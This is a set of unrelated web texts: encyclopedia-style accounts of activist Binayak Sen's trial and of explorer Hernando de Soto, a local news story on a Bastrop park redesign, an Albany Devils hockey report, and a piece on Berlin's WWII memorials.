In December 2007, Supreme Court dismissed Sen's bail petition.[25] The bench comprising Justices Ashok Bhan and D K Jain refused to accept Sen's plea stating that he was only an activist of People's Union for Civil Liberties (PUCL) and was in no way connected with the banned outfit CPI(ML). Bench while rejecting his arguments observed: "You are emphasising too much on PUCL. This does not mean that you are immune. This also does not mean your are not associated with banned activities."'[37][38]
Confinement [ edit ]
Sen was kept in solitary confinement during the period from 15 March to 11 April 2008. The prison authorities stated that this was for his security.[25][39] Sen's wife Ilina stated that he has been isolated from the world during his year of imprisonment, with access to only pro-government newspaper.
On 29 April 2008, Human Rights Watch in New York issued a public statement regarding the trial of Sen due to begin in Raipur on 30 April 2008: "the district court's limit of one supporter of the defendant at the trial is unnecessarily restrictive and raises broader concerns about the fairness of the trial."[40]
The Global Health Council, Harvard School of Public Health, Harvard Medical School and several other prominent global health organisations issued a joint statement of support for Sen, requesting that Indian authorities allow the doctor to receive the Jonathan Mann Award for Health and Human Rights in person in Washington, D.C. on 29 May 2008, at the 35th Annual International Conference on Global Health.[21] The declaration stated: "We would also like to convey our concern and dismay that Dr. Sen remains imprisoned, after nearly one year without trial, on allegations that he passed notes from a rebel leader whom he treated in jail to a person outside the prison. Dr. Sen has denied all wrongdoing and nothing in his character or history, as a dedicated community leader who has urged a peaceful settlement to this conflict for years, would support the accusations made against him. These allegations have not been substantiated or proven and have prevented Dr. Sen from providing his much-needed health services to the poor in his area, as well as his community leadership activities as an officer of the People's Union for Civil Liberties."[41]
Twenty-two Nobel laureates from around the world wrote to India's President and Prime Minister and Chhattisgarh state authorities. They said Sen should be allowed to travel to the US to receive the Jonathan Mann Award for Global Health and Human Rights. "We also wish to express grave concern that Dr Sen appears to be incarcerated solely for peacefully exercising his fundamental human rights," the letter said. This is "in contravention of Articles 19 (freedom of opinion and expression) and 22 (freedom of association) of the International Covenant on Civil and Political Rights – to which India is a state party – and that he is charged under two internal security laws that do not comport with international human rights standards," it added.[42][43]
Doctors across India started holding free clinics for the poor in tribute to the example of Sen and to peacefully campaign for his release.[44]
The Government of India led by the Indian National Congress which is the opposition party in the state of Chhattisgarh reacted strongly to international appeals for the release of Dr Binayak Sen. The Government feels that the issue around Dr Binayak Sen is a well orchestrated campaign and just because he is selected for a western award, does not make him less guilty in their view. The Ministry of Home Affairs (MHA) said that the State Government is right in opposing Dr Sen's appeal.[26]
Trial [ edit ]
On 3 August 2007, Chhattisgarh Police filed charge-sheets under the Chhattisgarh Special Public Security Act 2005 (CSPSA) and the Unlawful Activities (Prevention) Act 1967 in the court of Additional Chief Judicial Magistrate Satyabhama Dubey against Sen.[25] The trial against Binayak Sen began in the trial court in Raipur on 30 May 2008.[25] On 4 May 2008, Supreme Court issued notice to Chhattisgarh government on Sen's bail plea. It asked the state government to provide "best medical aid" to Sen, who is suffering from a heart ailment.[25]
On 11 August 2008, a second bail petition was filed in the Chhattisgarh High Court in Bilaspur.[25] On 21 October, Sen made a public appeal and proposal for peace in South Bastar.[45]
Grant of bail by the Supreme Court [ edit ]
Sen was granted bail on 25 May 2009 by a vacation bench of the Supreme Court comprising Justice Markandey Katju and Justice Deepak Verma as his health conditions were deteriorating.[46]
Conviction, sentencing and bail [ edit ]
On 24 December 2010, the Additional Sessions and District Court Judge B.P Varma Raipur found Binayak Sen, Naxal ideologue Narayan Sanyal and Kolkata businessman Piyush Guha, guilty of sedition for helping the Maoists in their fight against the state. They were sentenced to life imprisonment.[47] Immediately after the sentencing, Dr. Sen's bail was revoked and he was taken back into custody.[48]
Binayak Sen was held guilty under Chhattisgarh Special Public Security Act 2005, Unlawful Activities (Prevention) Act 1967, of being a conduit between Naxals and of meeting Narayan Sanyal in jail. The trio has also been convicted under provisions of section 124A of Indian Penal Code (IPC) (sedition) and 120-B Indian Penal Code (conspiracy).[49]
Binayak Sen's sentence has been condemned both in India[50][51][52] and internationally.[53][54] Nobel Laureate Amartya Sen has condemned the judgement as "unjust".[55]
Against this judgement, Binayak again applied for bail on 6 January 2011. An eight-member delegation of the European Union were present at the court during the entire hearing. On 25 January 2011, the Chhattisgarh High Court heard his bail plea for the second consecutive day and then fixed 9 February for the next hearing. The court denied bail to him during the subsequent hearing.[56][57]
Dr. Sen had moved the apex court challenging the order of the Chhattisgarh High Court which had rejected his bail plea on 10 February 2011.[58] Dr. Sen has sought bail contending that the trial court has erred in convicting him as there was no substantial evidence against him. Human rights and social activists have described Dr. Sen's conviction and sentence as "politically motivated."[59]
The Supreme Court on 11 March 2011 issued notice to the Chhattisgarh government on a petition by rights activist Binayak Sen seeking bail and stay on his life imprisonment imposed by a sessions court for his links with Maoists. A bench of justices H.S. Bedi and C.K. Prasad asked the Chhattisgarh government to file its response within four weeks. The bench passed the order despite counsel for Dr. Sen seeking adjournment of the matter.[60] On 15 April 2011, the Supreme Court of India has granted bail to Dr. Binayak Sen, after questioning the sedition charge against him[11][61][62] and adding that "the question of passing letters or documents does not arise."[63] However the apex court said it was giving no reason for granting bail to 61-year-old Sen and left it to the satisfaction of the trial court concerned to impose the conditions for his release on bail.[64][65]
Media reports said that no evidence of sedition had been produced against the accused by the Chhattisgarh Government.[66] According to The Hindu, one of the two judges told the senior state counsel ""We are a democratic country. He may be a sympathiser. That does not make him guilty of sedition." Drawing an analogy, he asked Mr. Lalit: “if Mahatma Gandhi's autobiography is found in somebody's place, is he a Gandhian? No case of sedition is made out on the basis of materials in possession unless you show that he was actively helping or harbouring them [Maoists].""[67]
The case has generated interests of Indian and foreign NGOs[68][69][70][71] and governments.[72][73][74][75][76][77]
See also [ edit ]
Publications [ edit ]
Minnie Vaid (2011) A Doctor to Defend: The Binayak Sen Story. Publisher: Rajpal PP: 243, ISBN 9788170289272
Publisher: Rajpal PP: 243, ISBN 9788170289272 Ilina Sen, Inside Chhattisgarh: A Political Memoir. Penguin Books India, 2014. ISBN 978-0-143-41404-9. (Ilina Sen is the spouse of Binayak Sen) |
Hernando de Soto (;[4] Spanish: [eɾˈnãndo ðe ˈsoto]; c. 1500 – May 21, 1542) was a Spanish explorer and conquistador who was involved in expeditions in Nicaragua and the Yucatan Peninsula, and played an important role in Pizarro's conquest of the Inca Empire in Peru, but is best known for leading the first Spanish and European expedition deep into the territory of the modern-day United States (through Florida, Georgia, Alabama, Mississippi, and most likely Arkansas). He is the first European documented as having crossed the Mississippi River.[5]
De Soto's North American expedition was a vast undertaking. It ranged throughout the southeastern United States, both searching for gold, which had been reported by various Indian tribes and earlier coastal explorers, and for a passage to China or the Pacific coast. De Soto died in 1542 on the banks of the Mississippi River;[6] different sources disagree on the exact location, whether it was what is now Lake Village, Arkansas, or Ferriday, Louisiana.
Early life [ edit ]
Hernando de Soto was born in Extremadura, Spain, to parents who were both hidalgos, nobility of modest means. The region was poor and many people struggled to survive; young people looked for ways to seek their fortune elsewhere. He was born in Jerez de los Caballeros, in the current province of Badajoz.[1]:135 Three towns—Badajoz, Barcarrota and Jerez de los Caballeros—claim to be his birthplace. He spent time as a child at each place. He stipulated in his will that his body be interred at Jerez de los Caballeros, where other members of his family were buried.[7] As he grew to adulthood, the Spanish took back control of the Iberian peninsula from Islamic forces. Spain and Portugal were filled with young men seeking a chance for military fame after the defeat of the Moors. With discovery of new lands (which they thought at the time to be East Asia) across the ocean to the west, young men were attracted to rumors of adventure, glory and wealth.
In the New World [ edit ]
De Soto sailed to the New World with Pedrarias Dávila, appointed as the first Governor of Panama. In 1520 he participated in Gaspar de Espinosa's expedition to Veragua, and in 1524, he participated in the conquest of Nicaragua under Francisco Hernández de Córdoba. There he acquired an encomienda and a public office in León, Nicaragua.[1]:135
Brave leadership, unwavering loyalty, and ruthless schemes for the extortion of native villages for their captured chiefs became de Soto's hallmarks during the conquest of Central America. He gained fame as an excellent horseman, fighter, and tactician. During that time, de Soto was influenced by the achievements of Spanish explorers: Juan Ponce de León, the first European to reach Florida; Vasco Núñez de Balboa, the first European to reach the Pacific Ocean coast of the Americas (he called it the "South Sea" on the south coast of Panama); and Ferdinand Magellan, who first sailed that ocean to East Asia.
In 1530, de Soto became a regidor of León, Nicaragua. He led an expedition up the coast of the Yucatán Peninsula searching for a passage between the Atlantic Ocean and the Pacific Ocean to enable trade with the Orient, the richest market in the world. Failing that, and without means to explore further, de Soto, upon Pedro Arias Dávila's death, left his estates in Nicaragua. Bringing his own men on ships which he hired, de Soto joined Francisco Pizarro at his first base of Tumbes shortly before departure for the interior of present-day Peru.[8]:143
Pizarro quickly made de Soto one of his captains.[1]:171
Conquest of Peru [ edit ]
When Pizarro and his men first encountered the army of Inca Atahualpa at Cajamarca, Pizarro sent de Soto with fifteen men to invite Atahualpa to a meeting. When Pizarro's men attacked Atahualpa and his guard the next day (the Battle of Cajamarca), de Soto led one of the three groups of mounted soldiers. The Spanish captured Atahualpa. De Soto was sent to the camp of the Inca army, where he and his men plundered Atahualpa's tents.[9]
During 1533, the Spanish held Atahualpa captive in Cajamarca for months while his subjects paid for his ransom by filling a room with gold and silver objects. During this captivity, de Soto became friendly with Atahualpa and taught him to play chess. By the time the ransom had been completed, the Spanish became alarmed by rumors of an Inca army advancing on Cajamarca. Pizarro sent de Soto with 200 soldiers to scout for the rumored army.[10]
While de Soto was gone, the Spanish in Cajamarca decided to kill Atahualpa to prevent his rescue. De Soto returned to report that he found no signs of an army in the area. After executing Atahualpa, Pizarro and his men headed to Cuzco, the capital of the Incan Empire. As the Spanish force approached Cuzco, Pizarro sent his brother Hernando and de Soto ahead with 40 men. The advance guard fought a pitched battle with Inca troops in front of the city, but the battle had ended before Pizarro arrived with the rest of the Spanish party. The Inca army withdrew during the night. The Spanish plundered Cuzco, where they found much gold and silver. As a mounted soldier, de Soto received a share of the plunder, which made him very wealthy. It represented riches from Atahualpa's camp, his ransom, and the plunder from Cuzco.[11]
On the road to Cuzco, Manco Inca Yupanqui, a brother of Atahualpa, had joined Pizarro. Manco had been hiding from Atahualpa in fear of his life, and was happy to gain Pizarro's protection. Pizarro arranged for Manco to be installed as the Inca leader. De Soto joined Manco in a campaign to eliminate the Inca armies under Quizquiz, who had been loyal to Atahualpa.[12]:66–67,70–73
By 1534, de Soto was serving as lieutenant governor of Cuzco while Pizarro was building his new capital on the coast; it later became known as Lima. In 1535 King Charles awarded Diego de Almagro, Francisco Pizarro's partner, the governorship of the southern portion of the Inca Empire. When de Almagro made plans to explore and conquer the southern part of the Inca empire (now Chile), de Soto applied to be his second-in-command, but de Almagro turned him down. De Soto packed up his treasure and returned to Spain.[1]:367,370–372,375,380–381,396
Return to Spain [ edit ]
De Soto returned to Spain in 1536,[1]:135 with wealth gathered from plunder in the Spanish conquest of the Inca Empire. He was admitted into the prestigious Order of Santiago and "granted the right to conquer Florida".[1]:135 His share was awarded to him by the King of Spain, and he received 724 marks of gold, 17,740 pesos.[13] He married Isabel de Bobadilla, daughter of Pedrarias Dávila and a relative of a confidante of Queen Isabella.
De Soto petitioned King Charles to lead the government of Guatemala, with "permission to create discovery in the South Sea." He was granted the governorship of Cuba instead. De Soto was expected to colonize the North American continent for Spain within four years, for which his family would be given a sizable piece of land.
Fascinated by the stories of Cabeza de Vaca, who had survived years in North America after becoming a castaway and had just returned to Spain, de Soto selected 620 Spanish and Portuguese volunteers, including some of mixed-race African descent known as Atlantic Creoles, to accompany him to govern Cuba and colonize North America. Averaging 24 years of age, the men embarked from Havana on seven of the King's ships and two caravels of de Soto's. With tons of heavy armor and equipment, they also carried more than 500 heads of livestock, including 237 horses and 200 pigs, for their planned four-year continental expedition.
De Soto wrote a new will before embarking on his travels. On 10 May 1539, he wrote in his will:
That a chapel be erected within the Church of San Miguel in Jerez de Los Caballeros, Spain, where De Soto grew up, at a cost of 2,000 ducats, with an altarpiece featuring the Virgin Mary, Our Lady of the Conception, that his tomb be covered in a fine black broadcloth topped by a red cross of the Order of the Knights of Santiago, and on special occasions a pall of black velvet with the De Soto coat of arms be placed on the altar; that a chaplain be hired at the salary of 12,000 maravedis to perform five masses every week for the souls of De Soto, his parents, and wife; that thirty masses be said for him the day his body was interred, and twenty for our Lady of the Conception, ten for the Holy Ghost, sixty for souls in purgatory and masses for many others as well; that 150000 maravedis be given annually to his wife Isabel for her needs and an equal amount used yearly to marry off three orphan damsels...the poorest that can be found," to assist his wife and also serve to burnish the memory of De Soto as a man of charity and substance.[14]
De Soto's exploration of North America [ edit ]
Historiography [ edit ]
Historians have worked to trace the route of de Soto's expedition in North America, a controversial process over the years.[16] Local politicians vied to have their localities associated with the expedition. The most widely used version of "De Soto's Trail" comes from a study commissioned by the United States Congress. A committee chaired by the anthropologist John R. Swanton published The Final Report of the United States De Soto Expedition Commission in 1939. Among other locations, Manatee County, Florida, claims an approximate landing site for de Soto and has a national memorial recognizing that event.[17] In the early 21st century, the first part of the expedition's course, up to de Soto's battle at Mabila (a small fortress town in present-day central Alabama[18]), is disputed only in minor details. His route beyond Mabila is contested. Swanton reported the de Soto trail ran from there through Mississippi, Arkansas, and Texas.
Historians have more recently considered archeological reconstructions and the oral history of the various Native American peoples who recount the expedition.[citation needed] Most historical places have been overbuilt and much evidence has been lost.[citation needed] More than 450 years have passed between the events and current history tellers, but some oral histories have been found to be highly accurate about historic events that have been otherwise documented.[citation needed]
The Governor Martin Site at the former Apalachee village of Anhaica, located about a mile east of the present Florida capital in Tallahassee, has been documented as definitively associated with de Soto's expedition. The Governor Martin Site was discovered by archaeologist B. Calvin Jones in March 1987. It has been preserved as the DeSoto Site Historic State Park.
The Hutto/Martin Site, 8MR3447, in southeastern Marion County, Florida, on the Ocklawaha River, is the most likely site of the principal town of Acuera referred to in the accounts of the entrada, as well as the site of the seventeenth-century mission of Santa Lucia de Acuera.[19][20]
As of 2016, the Richardson/UF Village site (8AL100) in Alachua County, west of Orange Lake, appears to have been accepted by archaeologists as the site of the town of Potano visited by the de Soto expedition. The 17th-century mission of San Buenaventura de Potano is believed to have been founded here.[21]
Many archaeologists believe the Parkin Site in northeast Arkansas was the main town for the indigenous province of Casqui, which de Soto had recorded. They base this on similarities between descriptions from the journals of the de Soto expedition and artifacts of European origin discovered at the site in the 1960s.[22][23]
Theories of de Soto's route are based on the accounts of four chroniclers of the expedition.
The first account of the expedition to be published was by the Gentleman of Elvas, an otherwise unidentified Portuguese knight who was a member of the expedition. His chronicle was first published in 1557. An English translation by Richard Hakluyt was published in 1609. [24]
Luys Hernández de Biedma, the King's factor (the agent responsible for the royal property) with the expedition, wrote a report which still exists. The report was filed in the royal archives in Spain in 1544. The manuscript was translated into English by Buckingham Smith and published in 1851. [25]
De Soto's secretary, Rodrigo Ranjel, kept a diary, which has been lost. It was apparently used by Gonzalo Fernández de Oviedo y Valdés in writing his La historia general y natural de las Indias . Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904.
. Oviedo died in 1557. The part of his work containing Ranjel's diary was not published until 1851. An English translation of Ranjel's report was first published in 1904. The fourth chronicle is by Garcilaso de la Vega, known as El Inca (the Inca). Garcilaso de la Vega did not participate in the expedition. He wrote his account, La Florida, known in English as The Florida of the Inca, decades after the expedition, based on interviews with some survivors of the expedition. The book was first published in 1605. Historians have identified problems with using La Florida as a historical account. Milanich and Hudson warn against relying on Garcilaso, noting serious problems with the sequence and location of towns and events in his narrative. They say, "some historians regard Garcilaso's La Florida to be more a work of literature than a work of history."[26] Lankford characterizes Garcilaso's La Florida as a collection of "legend narratives", derived from a much-retold oral tradition of the survivors of the expedition.[27]
Milanich and Hudson warn that older translations of the chronicles are often "relatively free translations in which the translators took considerable liberty with the Spanish and Portuguese text."[28]
The chronicles describe de Soto's trail in relation to Havana, from which they sailed; the Gulf of Mexico, which they skirted while traveling inland then turned back to later; the Atlantic Ocean, which they approached during their second year; high mountains, which they traversed immediately thereafter; and dozens of other geographic features along their way, such as large rivers and swamps, at recorded intervals. Given that the natural geography has not changed much since de Soto's time, scholars have analyzed those journals with modern topographic intelligence, to develop a more precise account of the De Soto Trail.[15][29]
1539: Florida [ edit ]
The Spanish caption reads:
"HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42". Library of Congress ' engraving.The Spanish caption reads:"HERNANDO DE SOTO: Extremaduran, one of the discoverers and conquerors of Peru: he travelled across all of Florida and defeated its previously invincible natives, he died on his expedition in the year 1542 at the age of 42".
In May 1539, de Soto landed nine ships with over 620 men[30] and 220 horses in an area generally identified as south Tampa Bay. Historian Robert S. Weddle has suggested that he landed at either Charlotte Harbor or San Carlos Bay.[31] He named the land as Espíritu Santo after the Holy Spirit. The ships carried priests, craftsmen, engineers, farmers, and merchants; some with their families, some from Cuba, most from Europe and Africa. Few of the men had traveled before outside of Spain, or even away from their home villages.
Near de Soto's port, the party found Juan Ortiz, a Spaniard living with the Mocoso people. Ortiz had been captured by the Uzita while searching for the lost Narváez expedition; he later escaped to Mocoso. Ortiz had learned the Timucua language and served as an interpreter to de Soto as he traversed the Timucuan-speaking areas on his way to Apalachee.[32]
Ortiz developed a method for guiding the expedition and communicating with the various tribes, who spoke many dialects and languages. He recruited guides from each tribe along the route. A chain of communication was established whereby a guide who had lived in close proximity to another tribal area was able to pass his information and language on to a guide from a neighboring area. Because Ortiz refused to dress as an hidalgo Spaniard, other officers questioned his motives. De Soto remained loyal to Ortiz, allowing him the freedom to dress and live among his native friends. Another important guide was the seventeen-year-old boy Perico, or Pedro, from what is now Georgia. He spoke several of the local tribes' languages and could communicate with Ortiz. Perico was taken as a guide in 1540. The Spanish had also captured other Indians, whom they used as slave labor.[clarification needed] Perico was treated better due to his value to the Spaniards.
The expedition traveled north, exploring Florida's West Coast, and encountering native ambushes and conflicts along the way. De Soto's first winter encampment was at Anhaica, the capital of the Apalachee people. It is one of the few places on the route where archaeologists have found physical traces of the expedition. The chroniclers described this settlement as being near the "Bay of Horses". The bay was named for events of the 1527 Narváez expedition. Starving and struggling to escape the Florida peninsula, the decreasing number of survivors killed and ate their horses while building boats for escape by the Gulf of Mexico.
1540: The Southeast [ edit ]
From their winter location in the western panhandle of Florida, having heard of gold being mined "toward the sun's rising", the expedition turned northeast through what is now the modern state of Georgia.[33][34] Based on archaeological finds made in 2009 at a remote, privately owned site near the Ocmulgee River, researchers believe that de Soto's expedition stopped in Telfair County. Artifacts found here include nine glass trade beads, some of which bear a chevron pattern made in Venice for a limited period of time and believed to be indicative of the de Soto expedition. Six metal objects were also found, including a silver pendant and some iron tools. The rarest items were found within what researchers believe was a large council house of the indigenous people whom de Soto was visiting.[35][36]
The expedition continued to present-day South Carolina. There the expedition recorded being received by a female chief (Cofitachequi), who gave her tribe's pearls, food and other goods to the Spanish soldiers. The expedition found no gold, however, other than pieces from an earlier coastal expedition (presumably that of Lucas Vázquez de Ayllón.)
De Soto headed north into the Appalachian Mountains of present-day western North Carolina, where he spent a month resting the horses while his men searched for gold. De Soto next entered eastern Tennessee. At this point, De Soto either continued along the Tennessee River to enter Alabama from the north (according to John R. Swanton), or turned south and entered northern Georgia (according to Charles M. Hudson). The route that Swanton proposed in 1939 is still generally accepted by most archaeologists and by the U.S. government as the route of the de Soto expedition.[citation needed].
De Soto's expedition spent another month in the Coosa chiefdom, believed to have been connected to the large and complex Mississippian culture, which extended throughout the Mississippi Valley and its tributaries. He turned south toward the Gulf of Mexico to meet two ships bearing fresh supplies from Havana. Along the way, de Soto was led into Mauvila (or Mabila), a fortified city in southern Alabama.[37] The Mobilian tribe, under chief Tuskaloosa, ambushed de Soto's army.[37] Other sources suggest de Soto's men were attacked after attempting to force their way into a cabin occupied by Tuskaloosa.[38] The Spaniards fought their way out, and retaliated by burning the town to the ground. During the nine-hour encounter, about 200 Spaniards died, and 150 more were badly wounded, according to the chronicler Elvas.[39] Twenty more died during the next few weeks. They killed an estimated 2,000-6,000 warriors at Mabila, making the battle one of the bloodiest in recorded North American history.[40]
The Spaniards won a Pyrrhic victory, as they had lost most of their possessions and nearly one-quarter of their horses. The Spaniards were wounded and sickened, surrounded by enemies and without equipment in an unknown territory.[38] Fearing that word of this would reach Spain if his men reached the ships at Mobile Bay, de Soto led them away from the Gulf Coast. He moved into inland Mississippi, most likely near present-day Tupelo, where they spent the winter.
1541: Westward [ edit ]
In the spring of 1541, de Soto demanded 200 men as porters from the Chickasaw.[citation needed] They refused his demand and attacked the Spanish camp during the night. The Spaniards lost about 40 men and the remainder of their limited equipment. According to participating chroniclers, the expedition could have been destroyed at this point, but the Chickasaw let them go.[citation needed]
On May 8, 1541, de Soto's troops reached the Mississippi River.[5]
De Soto had little interest in the river, which in his view was an obstacle to his mission. There has been considerable research into the exact location where de Soto crossed the Mississippi River. A commission appointed by Franklin D. Roosevelt in 1935 determined that Sunflower Landing, Mississippi, was the "most likely" crossing place. De Soto and his men spent a month building flatboats, and crossed the river at night to avoid the Native Americans who were patrolling the river. De Soto had hostile relations with the native people in this area.[41][42]
In the late 20th century, research suggests other locations may have been the site of de Soto's crossing, including three locations in Mississippi: Commerce, Friars Point, and Walls, as well as Memphis, Tennessee.[43] Once across the river, the expedition continued traveling westward through modern-day Arkansas, Oklahoma, and Texas. They wintered in Autiamique, on the Arkansas River.[citation needed]
After a harsh winter, the Spanish expedition decamped and moved on more erratically. Their interpreter Juan Ortiz had died, making it more difficult for them to get directions and food sources, and generally to communicate with the Natives. The expedition went as far inland as the Caddo River, where they clashed with a Native American tribe called the Tula in October 1541.[44] The Spaniards characterized them as the most skilled and dangerous warriors they had encountered.[45] This may have happened in the area of present-day Caddo Gap, Arkansas (a monument to the de Soto expedition was erected in that community). Eventually, the Spaniards returned to the Mississippi River.
Death [ edit ]
Burial of de Soto
De Soto died of a fever on May 21, 1542, in the native village of Guachoya (historical sources disagree as to whether de Soto died near present-day McArthur, Arkansas, or in Louisiana)[46] on the western bank of the Mississippi.[47] Louisiana erected a historical marker at the estimated site.
Before his death, de Soto chose Luis de Moscoso Alvarado, his former maestro de campo (or field commander), to assume command of the expedition.[48] At the time of death, de Soto owned four Indian slaves, three horses, and 700 hogs.[49]
De Soto had encouraged the local natives to believe that he was a deity, specifically an "immortal Son of the Sun"[50] (as a ploy to gain their submission without conflict). Some of the natives had already become skeptical of de Soto's deity claims. But his men were anxious to conceal his death. The actual site of his burial is not known. According to one source, de Soto's men hid his corpse in blankets weighted with sand and sank it in the middle of the Mississippi River during the night.[46]
Return of the expedition to Mexico City [ edit ]
De Soto's expedition had explored La Florida for three years without finding the expected treasures or a hospitable site for colonization. They had lost nearly half their men, and most of the horses. By this time, the soldiers were wearing animal skins for clothing. Many were injured and in poor health. The leaders came to a consensus (although not total) to end the expedition and try to find a way home, either down the Mississippi River, or overland across Texas to the Spanish colony of Mexico City.
They decided that building boats would be too difficult and time-consuming, and that navigating the Gulf of Mexico was too risky, so they headed overland to the southwest. Eventually they reached a region in present-day Texas that was dry. The native populations were made up mostly of subsistence hunter-gatherers. The soldiers found no villages to raid for food, and the army was still too large to live off the land. They were forced to backtrack to the more developed agricultural regions along the Mississippi, where they began building seven bergantines, or pinnaces.[48] They melted down all the iron, including horse tackle and slave shackles, to make nails for the boats. They survived through the winter, and the spring floods delayed them another two months. By July they set off on their makeshift boats down the Mississippi for the coast.
Taking about two weeks to make the journey, the expedition encountered hostile fleets of war canoes along the whole course. The first was led by the powerful paramount chief Quigualtam, whose fleet followed the boats, shooting arrows at the soldiers for days on end as they drifted through their territory. The Spanish had no effective offensive weapons on the water, as their crossbows had long ceased working. They relied on armor and sleeping mats to block the arrows. About 11 Spaniards were killed along this stretch and many more wounded.
On reaching the mouth of the Mississippi, they stayed close to the Gulf shore heading south and west. After about 50 days, they made it to the Pánuco River and the Spanish frontier town of Pánuco. There they rested for about a month. During this time many of the Spaniards, having safely returned and reflecting on their accomplishments, decided they had left La Florida too soon. There were some fights within the company, leading to some deaths. But, after they reached Mexico City and Viceroy Don Antonio de Mendoza offered to lead another expedition to La Florida, few of the survivors volunteered. Of the recorded 700 participants at the start, between 300 and 350 survived (311 is a commonly accepted figure). Most of the men stayed in the New World, settling in Mexico, Peru, Cuba, and other Spanish colonies.
Effects of expedition in North America [ edit ]
The Spanish believed that de Soto's excursion to Florida was a failure. They acquired neither gold nor prosperity and founded no colonies. But the expedition had several major consequences.
It contributed to the process of the Columbian Exchange. For instance, some of the swine brought by de Soto escaped and became the ancestors of feral razorback pigs in the southeastern United States.[51][52][53][54][55]
De Soto was instrumental in contributing to the development of a hostile relationship between many Native American tribes and Europeans. When his expedition encountered hostile natives in the new lands, more often than not it was his men who instigated the clashes.[56]
More devastating than the battles were the chronic diseases carried by the members of the expedition. Because the indigenous people lacked the immunity which the Europeans had acquired through generations of exposure to these Eurasian diseases, the Native Americans suffered epidemics of illness after exposure to such diseases as measles, smallpox, and chicken pox. Several areas traversed by the expedition became depopulated by disease caused by contact with the Europeans. Seeing the high fatalities and devastation caused, many natives fled the populated areas for the surrounding hills and swamps. In some areas, the social structure changed because of high population losses due to epidemics.[57]
The records of the expedition contributed greatly to European knowledge about the geography, biology, and ethnology of the New World. The de Soto expedition's descriptions of North American natives are the earliest-known source of information about the societies in the Southeast. They are the only European description of the culture and habits of North American native tribes before these peoples encountered other Europeans. De Soto's men were both the first and nearly the last Europeans to witness the villages and civilization of the Mississippian culture.
De Soto's expedition led the Spanish crown to reconsider Spain's attitude toward the colonies north of Mexico. He claimed large parts of North America for Spain. The Spanish concentrated their missions in the state of Florida and along the Pacific coast.
Namesakes [ edit ]
DeSoto Deluxe automobile insignia from early 1950s
Many parks, towns, counties, and institutions have been named after Hernando de Soto, to include:
Places [ edit ]
Other [ edit ]
See also [ edit ]
References [ edit ] |
A reimagined Bob Bryant Park is beginning to take shape as architects and community members this month put finishing touches on plans to build a "culture walk" at the site starting next year.
The preliminary master plan for the project, designed by Houston-based landscape architecture firm Burditt, shows a wildflower meadow, amphitheater, graffiti wall, interactive sculptures and a boardwalk lining the Colorado River.
The city hired the group in February to plan the culture walk — an outdoor trail at the north end of the park that will highlight the history and ecology of Bastrop County and Central Texas using art and design.
Last month, architects invited residents to a public forum to submit feedback into the design. About 30 people attended, many from the Riverside Grove neighborhood that adjoins Bob Bryant Park.
Children painted ceramic tiles that will be used to craft a mosaic which will be incorporated into the culture walk.
Gavin, 9, who lives in Riverside Grove, said he imagined celebrating holidays there — Fourth of July and President’s Day — and playing in the open fields.
Diana Wilson, the lead architect for the project, said some of the best ideas came from children who live in the neighborhood. They use the park every day and have big ideas about what they’d like to see for its future.
"I think these days when children get to a park, they want to celebrate," Wilson said. "They are excited to run and play outdoors."
The main tether for the project will be an existing concrete walkway that lines the north end of the park. It will be dotted with permanent art exhibits and pieces rotated on a regular basis. There are plans for a nature and learning center, an amphitheater to host poetry readings and other cultural events and areas where kids can run and play games. Pecan groves, shade trees, grasslands and wildflower fields will turn nature into art.
"It’s also a very important goal to feature the history, culture and ecological heritage of Bastrop," Wilson said. "It really is a theme of survival and what better way to show that than through nature."
The master plan addresses the entirety of Bob Bryant Park, not just the culture walk. It recommends cleaning the area, pruning trees, upgrading facilities, adding signage and possibly appointing a park police officer to monitor safety.
"We wanted it to feel like one cohesive project," Wilson said. "But the main focus would be the culture walk."
Bastrop Art in Public Places, a division of the city that uses hotel occupancy tax funds to foster art and culture in Bastrop, is spearheading the culture walk project. Its goal will be to attract residents and visitors to the city’s parks and trails, BAIPP Chair Deborah Johnson said.
The group has designated $28,000 this year to complete the design phase for the culture walk, which includes assessing the topography and layout of the park, gathering input from various stakeholders, developing 3D sketches and dividing the project into phases with measurable costs. The entire project will likely be completed in about five years, Johnson said.
Wilson said the master plan for the culture walk is expected to head before the City Council for approval this month. |
NEWARK, NJ – The Albany Devils influence continues on the national level. On Sunday, goaltender Scott Wedgewood made his NHL debut and earned his first victory, making 27 saves in a 2-1 win against Columbus.
After backstopping Albany to a 5-1 win at Utica Saturday, Wedgewood was informed about his recall on the bus ride back New York’s Capital. The following day, his boyhood dream came true.
“For a long time I had replayed this in my head,” Wedgewood said after being names the game’s first star. “I felt like it was just another hockey game, when it comes down to it. I felt I belonged here. Those things helped me step in and stay calm.”
Defenseman Vojtech Mozik also made his NHL debut during the game. The 23-year-old, who the Devils signed as a free agent during the offseason, logged 10:29 of ice time.
“It was really great,” Mozik said. “It’s an unbelievable feeling. I’m just happy we won, so it’s a great feeling.”
This season, 11 players have played for both New Jersey and Albany. |
The scars of Germany's darkest hour are all over Berlin. Beyond the history books, the monuments and the museums, the subtle reminders of the most destructive war in human history are scattered about the city.
Stepping stones to remembrance
Some of Nazi Germany's most abominable legislation came from Berlin. It is no surprise that the Allied media portrayed it as the root of all evil.
Aktion T4, the secret programme that enabled forced euthanasia of German citizens got its name from its birthplace on Tiergartenstraße 4 in Berlin. A memorial to its 70 273 victims was erected where the program was formerly administered.
The fate of the European Jews was sealed at the Wannsee conference, some 20 kilometers from Berlin. It is still possible to visit the house where the conference was held.
Over twelve years, more than a hundred thousand Berliners - Jews, homosexuals, artists, pacifists - were deported by the nazis. Most of them would not live to see the end of the regime.
Since a 1992 initiative by artist Gunter Demnig, over 48 000 marked stones have appeared before the houses of German citizens who were deported and murdered. Over 3000 Stolpersteine exist in Berlin alone, each of them commemorating a victim.
The full list of Stolpersteine can be found along with pictures on Wikimedia Commons.
The women who moved mountains
The suffering of Berlin's citizens did not end with the capitulation of Germany. In some areas of the city, up to 30% of buildings were irreparably destroyed and even running water became a luxury for some Berliners. With the closing of hostilities began a long reconstruction process.
Few men were spared from the previous six years of fighting. In addition to the 4.4 million military casualties, over 2 millions Germans were held in other countries as forced labour. As a result, the bulk of the reconstruction effort was undertaken by women.
The Trümmerfrauen spent years clearing the debris from street fighting and Allied bombing raids. The several million cubic meters of debris eventually formed mountains, most of which still remain to this day.
